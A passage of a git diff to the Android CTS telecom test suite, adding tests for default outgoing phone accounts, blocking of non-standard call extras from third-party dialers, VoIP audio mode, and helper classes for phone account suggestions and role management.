     public static final int FLAG_REGISTER = 0x1;
     public static final int FLAG_ENABLE = 0x2;
+    public static final int FLAG_SET_DEFAULT = 0x4;
 
     private static int sCounter = 5549999;
 
@@ -88,6 +90,8 @@
 
     InCallServiceCallbacks mInCallCallbacks;
     String mPreviousDefaultDialer = null;
+    PhoneAccountHandle mPreviousDefaultOutgoingAccount = null;
+    boolean mShouldRestoreDefaultOutgoingAccount = false;
     MockConnectionService connectionService = null;
 
     HandlerThread mPhoneStateListenerThread;
@@ -192,6 +196,15 @@
             assertPhoneAccountEnabled(TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
         }
 
+        if ((flags & FLAG_SET_DEFAULT) != 0) {
+            mPreviousDefaultOutgoingAccount = mTelecomManager.getUserSelectedOutgoingPhoneAccount();
+            mShouldRestoreDefaultOutgoingAccount = true;
+            TestUtils.setDefaultOutgoingPhoneAccount(getInstrumentation(),
+                    TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+            // Wait till the adb commands have executed and the default has changed.
+            assertPhoneAccountIsDefault(TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+        }
+
         return TestUtils.TEST_PHONE_ACCOUNT;
     }
 
@@ -202,7 +215,13 @@
         mTelecomManager.unregisterPhoneAccount(accountHandle);
         CtsConnectionService.tearDown();
         assertCtsConnectionServiceUnbound();
+        if (mShouldRestoreDefaultOutgoingAccount) {
+            TestUtils.setDefaultOutgoingPhoneAccount(getInstrumentation(),
+                    mPreviousDefaultOutgoingAccount);
+        }
         this.connectionService = null;
+        mPreviousDefaultOutgoingAccount = null;
+        mShouldRestoreDefaultOutgoingAccount = false;
     }
 
     protected void startCallTo(Uri address, PhoneAccountHandle accountHandle) {
@@ -442,6 +461,11 @@
         // that placing the call has fully completed.
         final int expectedConnectionCount = currentConnectionCount + 1;
         assertCSConnections(expectedConnectionCount);
+
+        // Ensure the new outgoing call broadcast fired for the outgoing call.
+        assertTrue(NewOutgoingCallBroadcastReceiver.isNewOutgoingCallBroadcastReceived());
+        // CTS test does not have read call log permission so should not get the phone number.
+        assertNull(NewOutgoingCallBroadcastReceiver.getReceivedNumber());
     }
 
     int getNumberOfConnections() {
@@ -1046,6 +1070,26 @@
         );
     }
 
+    void assertPhoneAccountIsDefault(final PhoneAccountHandle handle) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        PhoneAccountHandle phoneAccountHandle =
+                                mTelecomManager.getUserSelectedOutgoingPhoneAccount();
+                        return (phoneAccountHandle != null && phoneAccountHandle.equals(handle));
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Failed to set default phone account to " + handle
+        );
+    }
+
     void assertCtsConnectionServiceUnbound() {
         if (CtsConnectionService.isBound()) {
             assertTrue("CtsConnectionService not yet unbound!",
@@ -1132,6 +1176,54 @@
     }
 
     /**
+     * Asserts that a call does not have any of the specified call property bits specified.
+     *
+     * @param call The call.
+     * @param properties The property or properties which are not expected.
+     */
+    public void assertDoesNotHaveCallProperties(final Call call, final int properties) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return !call.getDetails().hasProperty(properties);
+                    }
+                },
+                TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Call should not have properties " + properties
+        );
+    }
+
+    /**
+     * Asserts that the audio manager reports the specified audio mode.
+     *
+     * @param audioManager The audio manager to check.
+     * @param expectedMode The expected audio mode.
+     */
+    public void assertAudioMode(final AudioManager audioManager, final int expectedMode) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return audioManager.getMode() == expectedMode;
+                    }
+                },
+                TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Audio mode was expected to be " + expectedMode
+        );
+    }
+
+    /**
      * Asserts that a call's capabilities are as expected.
      *
      * @param call The call.
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index 77f16ec..217e1a5 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -21,7 +21,9 @@
 import static org.hamcrest.CoreMatchers.instanceOf;
 import static org.junit.Assert.assertThat;
 
+import android.content.Context;
 import android.graphics.drawable.Icon;
+import android.media.AudioManager;
 import android.os.Bundle;
 import android.net.Uri;
 import android.telecom.Call;
@@ -63,9 +65,10 @@
     public static final String TEST_SUBJECT = "test";
     public static final String TEST_CHILD_NUMBER = "650-555-1212";
     public static final String TEST_FORWARDED_NUMBER = "650-555-1212";
-    public static final String TEST_EXTRA_KEY = "com.test.extra.TEST";
-    public static final String TEST_EXTRA_KEY2 = "com.test.extra.TEST2";
-    public static final String TEST_EXTRA_KEY3 = "com.test.extra.TEST3";
+    public static final String TEST_EXTRA_KEY = "android.test.extra.TEST";
+    public static final String TEST_EXTRA_KEY2 = "android.test.extra.TEST2";
+    public static final String TEST_EXTRA_KEY3 = "android.test.extra.TEST3";
+    public static final String TEST_INVALID_EXTRA_KEY = "blah";
     public static final int TEST_EXTRA_VALUE = 10;
     public static final String TEST_EVENT = "com.test.event.TEST";
     public static final Uri TEST_DEFLECT_URI = Uri.fromParts("tel", "+16505551212", null);
@@ -425,6 +428,43 @@
     }
 
     /**
+     * Tests that extra keys outside of the standard android.* namespace are not sent to a third
+     * party InCallService (the CTS test InCallService is technically not the OEM stock dialer).
+     */
+    public void testExtrasBlocking() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        Bundle exampleExtras = new Bundle();
+        exampleExtras.putString(Connection.EXTRA_CALL_SUBJECT, TEST_SUBJECT);
+        exampleExtras.putString(TEST_INVALID_EXTRA_KEY, "Secrets!");
+        exampleExtras.putString(Connection.EXTRA_SIP_INVITE, "Sip headers!!");
+        // Some ImsCallProfile system API extra keys we don't want to exposure to non-system
+        // dialer apps; its a bit of an implementation detail but good to verify that these are
+        // never exposed unintentionally.
+        exampleExtras.putString("oi", "5551212");
+        exampleExtras.putString("cna", "Joe");
+        exampleExtras.putInt("oir", TelecomManager.PRESENTATION_ALLOWED);
+        exampleExtras.putInt("cnap", TelecomManager.PRESENTATION_ALLOWED);
+
+        mConnection.setExtras(exampleExtras);
+
+        // Make sure we got back a bundle with the call subject key set.
+        assertCallExtras(mCall, Connection.EXTRA_CALL_SUBJECT);
+
+        Bundle callExtras = mCall.getDetails().getExtras();
+        assertEquals(TEST_SUBJECT, callExtras.getString(Connection.EXTRA_CALL_SUBJECT));
+        assertFalse(callExtras.containsKey(TEST_INVALID_EXTRA_KEY));
+        assertFalse(callExtras.containsKey(Connection.EXTRA_SIP_INVITE));
+        // Some ImsCallProfile extra keys that should not be exposed to non-system dialers.
+        assertFalse(callExtras.containsKey("oi"));
+        assertFalse(callExtras.containsKey("cna"));
+        assertFalse(callExtras.containsKey("oir"));
+        assertFalse(callExtras.containsKey("cnap"));
+    }
+
+    /**
      * Tests that {@link Connection} extras changes made via {@link Connection#putExtras(Bundle)}
      * are propagated to the {@link Call} via
      * {@link android.telecom.Call.Callback#onDetailsChanged(Call, Call.Details)}.
@@ -658,6 +698,24 @@
     }
 
     /**
+     * Verifies that the AudioManager audio mode changes as expected based on whether a connection
+     * is using voip audio mode or not.
+     */
+    public void testSetVoipAudioMode() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        mConnection.setAudioModeIsVoip(true);
+        assertCallProperties(mCall, Call.Details.PROPERTY_VOIP_AUDIO_MODE);
+        AudioManager audioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        assertAudioMode(audioManager, AudioManager.MODE_IN_COMMUNICATION);
+
+        mConnection.setAudioModeIsVoip(false);
+        assertDoesNotHaveCallProperties(mCall, Call.Details.PROPERTY_VOIP_AUDIO_MODE);
+        assertAudioMode(audioManager, AudioManager.MODE_IN_CALL);
+    }
+
+    /**
      * Asserts that a call's extras contain a specified key.
      *
      * @param call The call.
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
index 6985641..85f9b65 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
@@ -23,7 +23,6 @@
 
 import android.content.ComponentName;
 import android.content.Context;
-import android.content.Intent;
 import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.Call;
@@ -44,7 +43,7 @@
 
     public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE = new PhoneAccountHandle(
             new ComponentName(TestUtils.PACKAGE, TestUtils.COMPONENT),
-            TestUtils.ACCOUNT_ID);
+            TestUtils.ACCOUNT_ID_1);
 
     public static final PhoneAccount TEST_PHONE_ACCOUNT = PhoneAccount.builder(
             TEST_PHONE_ACCOUNT_HANDLE, TestUtils.ACCOUNT_LABEL)
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsPhoneAccountSuggestionService.java b/tests/tests/telecom/src/android/telecom/cts/CtsPhoneAccountSuggestionService.java
new file mode 100644
index 0000000..dcf5b16
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsPhoneAccountSuggestionService.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.telecom.PhoneAccountSuggestion;
+import android.telecom.PhoneAccountSuggestionService;
+
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+public class CtsPhoneAccountSuggestionService extends PhoneAccountSuggestionService {
+    static long sSuggestionWaitTime = 0;
+    static List<PhoneAccountSuggestion> sSuggestionsToProvide;
+    final static BlockingQueue<String> sSuggestionRequestQueue = new LinkedBlockingQueue<>(1);
+
+    @Override
+    public void onAccountSuggestionRequest(String number) {
+        sSuggestionRequestQueue.offer(number);
+        new Handler(Looper.getMainLooper()).postDelayed(
+                () -> suggestPhoneAccounts(number, sSuggestionsToProvide),
+                sSuggestionWaitTime);
+    }
+
+    public static void enableService(Context context) {
+        context.getPackageManager().setComponentEnabledSetting(getComponentName(context),
+                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+                PackageManager.DONT_KILL_APP);
+    }
+
+    public static void disableService(Context context) {
+        context.getPackageManager().setComponentEnabledSetting(getComponentName(context),
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                PackageManager.DONT_KILL_APP);
+    }
+
+    private static ComponentName getComponentName(Context context) {
+        return new ComponentName(context, CtsPhoneAccountSuggestionService.class);
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java b/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
new file mode 100644
index 0000000..30c49bf
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
+import static android.telecom.cts.TestUtils.executeShellCommand;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Instrumentation;
+// import android.app.role.RoleManager;
+// import android.app.role.RoleManagerCallback;
+import android.content.Context;
+import android.os.Process;
+import android.os.UserHandle;
+import android.telecom.TelecomManager;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.Executor;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class CtsRoleManagerAdapter {
+
+    private static final String TAG = CtsRoleManagerAdapter.class.getSimpleName();
+    private static final String ROLE_COMPANION_APP = "android.app.role.CALL_COMPANION_APP";
+    private static final String ROLE_CAR_MODE_DIALER_APP = "android.app.role.CAR_MODE_DIALER_APP";
+    private static final String COMMAND_ADD_OR_REMOVE_CALL_COMPANION_APP =
+            "telecom add-or-remove-call-companion-app";
+    private static final String COMMAND_SET_AUTO_MODE_APP = "telecom set-test-auto-mode-app";
+
+    private Context mContext;
+    // private RoleManager mRoleManager;
+    private Instrumentation mInstrumentation;
+    private ConcurrentHashMap<String, List<String>> mRoleHolders;
+
+    public CtsRoleManagerAdapter(Instrumentation instrumentation) {
+        mInstrumentation = instrumentation;
+        mContext = instrumentation.getContext();
+        // mRoleManager = (RoleManager) mContext.getSystemService(Context.ROLE_SERVICE);
+        mRoleHolders = new ConcurrentHashMap<>();
+    }
+
+    public void addCompanionAppRoleHolder(String packageName)
+            throws Exception {
+        // if (mRoleManager != null) {
+        //     addRoleHolder(ROLE_COMPANION_APP, packageName);
+        // } else {
+            String command = String.format("%s %s %d",
+                    COMMAND_ADD_OR_REMOVE_CALL_COMPANION_APP, packageName, 1);
+            executeShellCommand(mInstrumentation, command);
+            addRoleHolderToMap(ROLE_COMPANION_APP, packageName);
+        // }
+    }
+
+    public void removeCompanionAppRoleHolder(String packageName) throws Exception {
+        // if (mRoleManager != null) {
+        //     removeRoleHolder(ROLE_COMPANION_APP, packageName);
+        // } else {
+            String command = String.format("%s %s %d",
+                    COMMAND_ADD_OR_REMOVE_CALL_COMPANION_APP, packageName, 0);
+            executeShellCommand(mInstrumentation, command);
+            removeRoleHolderFromMap(ROLE_COMPANION_APP, packageName);
+        // }
+    }
+
+    public void addAutomotiveRoleHolder(String packageName)
+            throws Exception {
+        // if (mRoleManager != null) {
+        //     addRoleHolder(ROLE_CAR_MODE_DIALER_APP, packageName);
+        // } else {
+            String command = String.format("%s %s",
+                    COMMAND_SET_AUTO_MODE_APP, packageName);
+            executeShellCommand(mInstrumentation, command);
+            addRoleHolderToMap(ROLE_CAR_MODE_DIALER_APP, packageName);
+        // }
+    }
+
+    public void removeAutomotiveRoleHolder(String packageName) throws Exception {
+        // if (mRoleManager != null) {
+        //     removeRoleHolder(ROLE_CAR_MODE_DIALER_APP, packageName);
+        // } else {
+            removeRoleHolderFromMap(ROLE_CAR_MODE_DIALER_APP, packageName);
+
+            // Reset the car mode ui to rest of automotive apps assigned. If no other automotive
+            // apps are available, set car mode ui back to null.
+            if (mRoleHolders.containsKey(ROLE_CAR_MODE_DIALER_APP)) {
+                String nextPackage = getRoleHolders(ROLE_CAR_MODE_DIALER_APP).get(0);
+                String command = String.format("%s %s",
+                        COMMAND_SET_AUTO_MODE_APP, nextPackage);
+                executeShellCommand(mInstrumentation, command);
+            } else {
+                executeShellCommand(mInstrumentation, COMMAND_SET_AUTO_MODE_APP);
+            }
+        // }
+    }
+
+    public List<String> getRoleHolders(String role) {
+        // if (mRoleManager != null) {
+        //     return getRoleHolder(role);
+        // } else {
+            return mRoleHolders.containsKey(role) ?
+                    mRoleHolders.get(role) : new LinkedList<>();
+        // }
+    }
+
+    private void addRoleHolderToMap(String role, String packageName) {
+        if (!mRoleHolders.containsKey(role)) {
+            mRoleHolders.put(role, new LinkedList<>());
+        }
+
+        List<String> roleHolders = mRoleHolders.get(role);
+        if (!roleHolders.contains(packageName)) {
+            roleHolders.add(packageName);
+        }
+    }
+
+    private void removeRoleHolderFromMap(String role, String packageName) {
+        List<String> companionAppRoleHolders = mRoleHolders.get(role);
+        if (companionAppRoleHolders == null) {
+            return;
+        }
+
+        companionAppRoleHolders.remove(packageName);
+        if (companionAppRoleHolders.isEmpty()) {
+            mRoleHolders.remove(role);
+        }
+    }
+
+    /**
+     * TODO: uncomment when role manager is ready in aosp
+    private List<String> getRoleHolder(String roleName) {
+        List<String> holders = new ArrayList<>();
+        runWithShellPermissionIdentity(() -> {
+            List<String> previousHolders = mRoleManager.getRoleHolders(roleName);
+            if (previousHolders != null && !previousHolders.isEmpty()) {
+                holders.addAll(previousHolders);
+            }
+        });
+        return holders;
+    }
+
+    private void addRoleHolder(String roleName, String packageName) throws InterruptedException {
+        UserHandle user = Process.myUserHandle();
+        Executor executor = mContext.getMainExecutor();
+        LinkedBlockingQueue<String> q = new LinkedBlockingQueue<>(1);
+        runWithShellPermissionIdentity(() -> {
+            mRoleManager.addRoleHolderAsUser(roleName, packageName, user, executor,
+                    new RoleManagerCallback() {
+                        @Override
+                        public void onSuccess() {
+                            q.add(roleName + packageName);
+                        }
+
+                        @Override
+                        public void onFailure() {
+                            Log.e(TAG, "Add role holder failed.");
+                        }
+                    });
+        });
+        String res = q.poll(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertEquals(roleName + packageName, res);
+    }
+
+    private void removeRoleHolder(String roleName, String packageName)
+            throws InterruptedException {
+        UserHandle user = Process.myUserHandle();
+        Executor executor = mContext.getMainExecutor();
+        LinkedBlockingQueue<String> q = new LinkedBlockingQueue<>(1);
+        runWithShellPermissionIdentity(() -> {
+            mRoleManager.removeRoleHolderAsUser(roleName, packageName, user, executor,
+                    new RoleManagerCallback() {
+                        @Override
+                        public void onSuccess() {
+                            q.add(roleName + packageName);
+                        }
+
+                        @Override
+                        public void onFailure() {
+                            Log.e(TAG, "Remove role holder failed.");
+                        }
+                    });
+        });
+        String res = q.poll(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertEquals(roleName + packageName, res);
+    }*/
+
+
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java b/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java
index a088951..b68bd80 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java
@@ -40,7 +40,6 @@
 import android.test.InstrumentationTestCase;
 
 import java.util.Arrays;
-import java.util.List;
 
 /**
  * Verifies that the setter, getter and parcelable interfaces of the Telecom data objects are
@@ -53,7 +52,7 @@
         Context context = getInstrumentation().getContext();
         PhoneAccountHandle accountHandle = new PhoneAccountHandle(
                 new ComponentName(PACKAGE, COMPONENT),
-                ACCOUNT_ID);
+                ACCOUNT_ID_1);
         Icon phoneIcon = Icon.createWithResource(context, R.drawable.ic_phone_24dp);
         Uri tel = Uri.parse("tel:555-TEST");
         PhoneAccount account = PhoneAccount.builder(
@@ -102,11 +101,11 @@
         final UserHandle userHandle = Process.myUserHandle();
         PhoneAccountHandle accountHandle = new PhoneAccountHandle(
                 component,
-                ACCOUNT_ID,
+                ACCOUNT_ID_1,
                 userHandle);
         assertNotNull(accountHandle);
         assertEquals(component, accountHandle.getComponentName());
-        assertEquals(ACCOUNT_ID, accountHandle.getId());
+        assertEquals(ACCOUNT_ID_1, accountHandle.getId());
         assertEquals(userHandle, accountHandle.getUserHandle());
         assertEquals(0, accountHandle.describeContents());
 
@@ -126,7 +125,7 @@
     public void testConnectionRequest() throws Exception {
         PhoneAccountHandle accountHandle = new PhoneAccountHandle(
                 new ComponentName(PACKAGE, COMPONENT),
-                ACCOUNT_ID);
+                ACCOUNT_ID_1);
         Bundle extras = new Bundle();
         extras.putString(
                 TelecomManager.GATEWAY_PROVIDER_PACKAGE,
diff --git a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
index b574a96..f45ccd8 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
@@ -213,4 +213,13 @@
                 + "default dialer.", result.contains("set as default dialer"));
         assertEquals(TestUtils.PACKAGE, TestUtils.getDefaultDialer(getInstrumentation()));
     }
+
+    /**
+     * Verifies that the {@link TelecomManager#getSystemDialerPackage()} API returns the correct
+     * package name for the preloaded system dialer app.
+     */
+    public void testGetSystemDialer() throws Exception {
+        String reportedDialer = mTelecomManager.getSystemDialerPackage();
+        assertEquals(mSystemDialer, reportedDialer);
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/DefaultPhoneAccountTest.java b/tests/tests/telecom/src/android/telecom/cts/DefaultPhoneAccountTest.java
new file mode 100755
index 0000000..9d73e43
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/DefaultPhoneAccountTest.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * Tests use of APIs related to changing the default outgoing phone account.
+ */
+public class DefaultPhoneAccountTest extends BaseTelecomTestWithMockServices {
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getContext();
+    }
+
+    /**
+     * Verifies that {@link TelecomManager#getUserSelectedOutgoingPhoneAccount()} is able to
+     * retrieve the user-selected outgoing phone account.
+     * Given that there is a user-selected default, also verifies that
+     * {@link TelecomManager#getDefaultOutgoingPhoneAccount(String)} reports this value as well.
+     * Note: This test depends on
+     * {@code TelecomManager#setUserSelectedOutgoingPhoneAccount(PhoneAccountHandle)} being run
+     * through the telecom shell command in order to change the user-selected default outgoing
+     * account.
+     * @throws Exception
+     */
+    public void testDefaultIsSet() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        // Make sure to set the default outgoing phone account to the new connection service
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE | FLAG_SET_DEFAULT);
+
+        PhoneAccountHandle handle = mTelecomManager.getUserSelectedOutgoingPhoneAccount();
+        assertEquals(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, handle);
+
+        PhoneAccountHandle defaultOutgoing = mTelecomManager.getDefaultOutgoingPhoneAccount(
+                PhoneAccount.SCHEME_TEL);
+        assertEquals(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, defaultOutgoing);
+    }
+
+    /**
+     * Verifies operation of the {@link TelecomManager#getDefaultOutgoingPhoneAccount(String)} API
+     * where there is NO user selected default outgoing phone account.
+     * In AOSP, this mimics the user having changed the
+     * Phone --> Settings --> Call Settings --> Calling accounts --> Make Calls With
+     * option to "Ask first".
+     *
+     * The test assumes that a device either has a single sim, or has multiple sims.
+     * In either case, it registers another TEL outgoing calling account.
+     *
+     * We can expect two things:
+     * 1. {@link TelecomManager#getUserSelectedOutgoingPhoneAccount()} returns null, since the
+     *    "ask first" option was chosen.
+     * 2. {@link TelecomManager#getUserSelectedOutgoingPhoneAccount()} returns null, since there is
+     *    now 2 or more potential outgoing phone accounts with the TEL scheme.
+     * @throws Exception
+     */
+    public void testGetDefaultOutgoingNoUserSelected() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        PhoneAccountHandle previousOutgoingPhoneAccount =
+                mTelecomManager.getUserSelectedOutgoingPhoneAccount();
+
+        // Clear the default outgoing phone account; this is the same as saying "ask every time" in
+        // the user settings.
+        TestUtils.setDefaultOutgoingPhoneAccount(getInstrumentation(),
+                null /* clear default */);
+        try {
+            // Register another TEL URI phone account; since we expect devices to have at minimum
+            // 1 sim, this ensures that we have a scenario where there are multiple potential
+            // outgoing phone accounts with the TEL scheme.
+            setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+
+            // There should be NO user selected default outgoing account (we cleared it).
+            PhoneAccountHandle handle = mTelecomManager.getUserSelectedOutgoingPhoneAccount();
+            assertEquals(null, handle);
+
+            // There should be multiple potential TEL phone accounts now, so we expect null here.
+            PhoneAccountHandle defaultOutgoing = mTelecomManager.getDefaultOutgoingPhoneAccount(
+                    PhoneAccount.SCHEME_TEL);
+            assertEquals(null, defaultOutgoing);
+        } finally {
+            // Restore the default outgoing phone account.
+            TestUtils.setDefaultOutgoingPhoneAccount(getInstrumentation(),
+                    previousOutgoingPhoneAccount);
+        }
+    }
+
+    /**
+     * Verifies correct operation of the
+     * {@link TelecomManager#getDefaultOutgoingPhoneAccount(String)} API.
+     * The purpose of this CTS test is to verify the following scenarios:
+     * 1. Where there is NO user selected default outgoing phone account and there is a single
+     *    potential phone account, that phone account should be returned.
+     * 2. Where there is NO user selected default outgoing phone account and there are multiple
+     *    potential phone accounts, null should be returned.
+     * This test performs this operation using a test URI scheme to remove dependencies on the
+     * number of potential sims in a device, however the test cases above should pass even if the
+     * TEL uri scheme was being tested.
+     * @throws Exception
+     */
+    public void testGetDefaultOutgoingPhoneAccountOneOrMany() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        PhoneAccountHandle previousOutgoingPhoneAccount =
+                mTelecomManager.getUserSelectedOutgoingPhoneAccount();
+
+        // Clear the default outgoing phone account; this is the same as saying "ask every time" in
+        // the user settings.
+        TestUtils.setDefaultOutgoingPhoneAccount(getInstrumentation(),
+                null /* clear default */);
+
+        try {
+            // Lets register a new phone account using a test URI scheme 'foobuzz' (this avoids
+            // conflicts with any sims on the device).
+            registerAndEnablePhoneAccount(TestUtils.TEST_DEFAULT_PHONE_ACCOUNT_1);
+
+            // There should be NO user selected default outgoing account (we cleared it above).
+            PhoneAccountHandle handle = mTelecomManager.getUserSelectedOutgoingPhoneAccount();
+            assertEquals(null, handle);
+
+            // There should be a single potential phone account in the 'foobuzz' scheme, so it
+            // should be reported as the default outgoing phone account.
+            PhoneAccountHandle defaultOutgoing = mTelecomManager.getDefaultOutgoingPhoneAccount(
+                    TestUtils.TEST_URI_SCHEME);
+            assertEquals(TestUtils.TEST_DEFAULT_PHONE_ACCOUNT_HANDLE_1, defaultOutgoing);
+
+            // Next, lets register another new phone account using the test URI scheme 'foobuzz'.
+            registerAndEnablePhoneAccount(TestUtils.TEST_DEFAULT_PHONE_ACCOUNT_2);
+
+            // There should still be NO user selected default outgoing account (we cleared it
+            // above).
+            handle = mTelecomManager.getUserSelectedOutgoingPhoneAccount();
+            assertEquals(null, handle);
+
+            // Now that there are two potential outgoing accounts in the same scheme and nothing is
+            // chosen as the default, the default outgoing phone account should be "null".
+            defaultOutgoing = mTelecomManager.getDefaultOutgoingPhoneAccount(
+                    TestUtils.TEST_URI_SCHEME);
+            assertEquals(null, defaultOutgoing);
+        } finally {
+            mTelecomManager.unregisterPhoneAccount(TestUtils.TEST_DEFAULT_PHONE_ACCOUNT_HANDLE_1);
+            mTelecomManager.unregisterPhoneAccount(TestUtils.TEST_DEFAULT_PHONE_ACCOUNT_HANDLE_2);
+
+            // Restore the default outgoing phone account.
+            TestUtils.setDefaultOutgoingPhoneAccount(getInstrumentation(),
+                    previousOutgoingPhoneAccount);
+        }
+    }
+
+    private void registerAndEnablePhoneAccount(PhoneAccount phoneAccount) throws Exception {
+        mTelecomManager.registerPhoneAccount(phoneAccount);
+        TestUtils.enablePhoneAccount(getInstrumentation(), phoneAccount.getAccountHandle());
+        // Wait till the adb commands have executed and account is enabled in Telecom database.
+        assertPhoneAccountEnabled(phoneAccount.getAccountHandle());
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index 2d60870..5dba911 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -17,14 +17,13 @@
 package android.telecom.cts;
 
 import static android.telecom.cts.TestUtils.*;
-import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber;
-import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber;
 
 import android.app.UiModeManager;
 import android.content.ContentValues;
 import android.content.Context;
 import android.net.Uri;
 import android.os.Bundle;
+import android.provider.BlockedNumberContract;
 import android.telecom.CallAudioState;
 import android.telecom.Call;
 import android.telecom.Connection;
@@ -34,8 +33,6 @@
 import android.telecom.VideoProfile;
 import android.telephony.TelephonyManager;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.List;
 
 /**
@@ -376,7 +373,6 @@
         }
     }
 
